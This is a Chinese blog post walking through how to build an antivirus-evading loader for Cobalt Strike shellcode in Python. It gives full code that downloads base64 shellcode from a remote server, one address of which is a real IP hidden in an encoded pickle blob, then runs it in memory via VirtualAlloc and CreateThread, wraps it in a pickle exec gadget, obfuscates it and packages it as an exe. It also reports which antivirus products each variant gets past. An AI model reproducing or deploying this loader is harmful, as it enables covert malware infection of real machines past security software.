0x01 复现

复现文章:https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247484733&idx=2&sn=5b8f439c2998ce089eb44541d2da7a15&chksm=eb231%E2%80%A6

首先用cobaltstruke生成一个python的payload脚本

然后复制里面的payload进行Base64编码:加密地址为:http://tool.chinaz.com/tools/base64.aspx

第二步把刚刚生成的Base64丢到服务器里面进行访问

能看到这个就说明没错
然后下一步 把地址复制 进行反序列化(重要!!)
代码为:

import base64
import pickleshellcode = """
import ctypes,urllib.request,codecs,base64shellcode = urllib.request.urlopen('http://IP/1.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""class A(object):'''当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 __setstate__ 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)exec态执行python代码。'''def __reduce__(self):return (exec, (shellcode,))ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
#ret_decode = base64.b64decode(ret_base64)

在使用pickle.dumps(A())时,__reduce__自动被调用,会返回一个元组给dump进行反序列化,元组的第一个元素是exec,第二个元素是exec的参数,也就是shellcode,当我们重建对象时就会调用自动调用exec函数,也就是当我们序列化时。ret的内容是dump序话A()内容
exec是动态执行python代码,这里就是把shellcode字符串的内容当做python代码来执行。

运行结果:

我们把这串代码复制到此脚本进行生成


import base64,pickle,ctypes,urllib.request
shellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFgvBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzQ3LjExMC4xMzYuODIvMS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'
pickle.loads(base64.b64decode(shellcode))

然后点击运行你会发现 在cs里面成功上线了一台机器

最后们利用pyinstaller这个脚本进行打包成exe

pyinstaller -F test2.py --noconsole -i icon.ico

生成完毕的exe在dist目录下
最后我们在测试一下能不能运行,可以上线

查杀:
360杀毒直接查杀,可以直接过火绒:

0x02 改进

方法1 使用py2exe打包

首先安装py2exe文件,在相同目录下新建文件setup.py,里面内容为:

from distutils.core import setup
import py2exesetup(console=['test2.py'])

然后运行:

python setup.py py2exe

将会生成exe文件,在dist目录下,可以过火绒和360杀毒


但是进行云查杀时,被查杀出来了

方法2 混淆语句

继续干,试试混淆语句
我们将下面这句话用base64加密,然后用eval执行

pickle.loads(base64.b64decode(buf))

结果为:

cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoYnVmKSk=

程序:


修改程序为,这里把原来buf也放在了服务器上了:

import base64,pickle,ctypes,urllib.requestbuf = urllib.request.urlopen('http://IP/2.txt').read()
#print(buf)
string = "cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoYnVmKSk="
exec(base64.b64decode(string))

使用pyinstaller打包


但是360杀毒查杀出来了,wc,搞个免杀太难了。

使用py2exe打包,360都没有检测出来


啊啊啊啊!终于成功了

0x03 总结

这遍文章重点关注打包,序列化和反序列话,载荷分离是如何做到的,希望一个星期内,自己写一个加载器免杀的文章。

还有很多细节问题没吸收,明天再看一遍。

最后:欣酱NB!!!!

python免杀技术---复现+改进----1相关推荐

  1. python免杀技术---shellcode的加载与执行

    0x01 生成shellcode 首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64.exec模块接收的参数.使用calc. ...

  2. msf之进阶免杀技术,无视360

    大家好!我是阿杰,今天我写一篇关于msf免杀技术的文章,如果你喜欢请为我打call,我会一直写下去. 首先我们需要: 说明:python监听虽然可以绕过360,但仅限于安装了python的目标,这是具 ...

  3. Msfvenom编码免杀技术实现免杀实战

    Msfvenom编码免杀技术免杀实战 免杀技术在网络渗透的实战中十分实用,本文将介绍使用msfvenom自带编码免杀工具进行编码免杀,从而实现绕过杀毒软件获得shell的具体方法. 按照文中所讲述的方 ...

  4. 在一黑客论坛上看见的:360免杀技术介绍

    一.ASM汇编 这个是最舒服的,用OD打开已经配置好的马,找0区(也可以用TOPO加空段)要很大一片哦!右击,选择"二进制"→"编辑",在ASCII中输入 &q ...

  5. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结...

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  6. 病毒免杀技术-理论篇

    现有的病毒免杀技术主要分为三种,其中一种就是行动免杀,通过控制病毒木马的行为来躲过杀毒软件主动防御检测的目的,而这种行为免杀所用到的处理技术之一就是通过Anti Rookit来使反病毒程序的Rootk ...

  7. 传奇解决登陆器报毒360秒过百度杀毒 金山 卡吧 远控免杀技术

    传奇解决登陆器报毒360秒过百度杀毒 金山 卡吧 远控免杀技术 由于部分语言开发导致 杀软误报 使用本工作室研究得知误报分析代码 一.查壳 PEiD查出壳为PECompact 2.5 Retail - ...

  8. python免杀基础——三步(查杀、连接、代码)情况

    python免杀基础 目录 python免杀基础 1.远程调用shellcode.使用windowAPI: (1)查杀情况 (2)连接情况 (3)代码情况 2.远程加载shellcode和执行代码 ( ...

  9. 程序免杀技术之——花指令

    花指令(junk code) 意思是程序中有一些指令,由设计者特别构思,希望使反汇编的时候出错,让破解者无法清楚正确地反汇编程序的内容,迷失方向.经典的是一些跳转指令,目标位置是另一条指令的中间,这样 ...

最新文章

  1. 一千个不用 Null 的理由
  2. python logger
  3. DevOps笔记-10:金融行业分支策略的建议
  4. 安卓:安卓工程构建及第一个安卓程序运行
  5. 机器学习理论梳理2 : KNN K近邻分类模型
  6. 在Hyper-v中创建并安装虚拟机
  7. 求十个学生的平均成绩java,JAVA 声明一个数组,存一个学生的五门成绩。求该学生的总成绩、平均成绩。...
  8. python图层合并_Ps算法Python实现:图层混合模式-色相
  9. 4006基于邻接矩阵的顶点的删除(C++,附思路)
  10. Python自动识别多个不完整图像拼接为完整图像
  11. 数百款惠普打印机易受严重RCE漏洞影响
  12. Webpack + vue + es6 安装
  13. Microsoft Office Communications Server 2007排错日志
  14. 100项PPT制作技术
  15. Python的7大就业方向,转行的人适合哪个方向?学了Python能干什么?
  16. bzoj 1814 Fornula 1
  17. APP如何借助种子用户运营
  18. java西语_使用Java 8 DateTimeFormatter和西班牙语月份名称进行解析
  19. 全国计算机等级考试二级 C 语言 程序设计考试大纲
  20. PLC学习 20191229

热门文章

  1. vue 新版本 webpack 代理 跨域设置
  2. TypeScript中怎么用接口(interface)描述类(静态部分与实例部分)
  3. 用C++调用tensorflow在python下训练好的模型(centos7)
  4. Css Sprites 多张图片整合在一张图片上
  5. 设计模式笔记——Bridge
  6. 修改窗口图标 AfxRegisterWndClass()
  7. xmta温度控制仪说明书_XMT系列数显温度控制器使用说明书
  8. python数字转中文字符_Python实现中文数字转换为阿拉伯数字的方法示例
  9. python while break try 无法中断_解码不能正常工作并且while循环不能正确中断python...
  10. 华为抢购助手_华为荣耀20系列手机采用的五项新科技,科普简介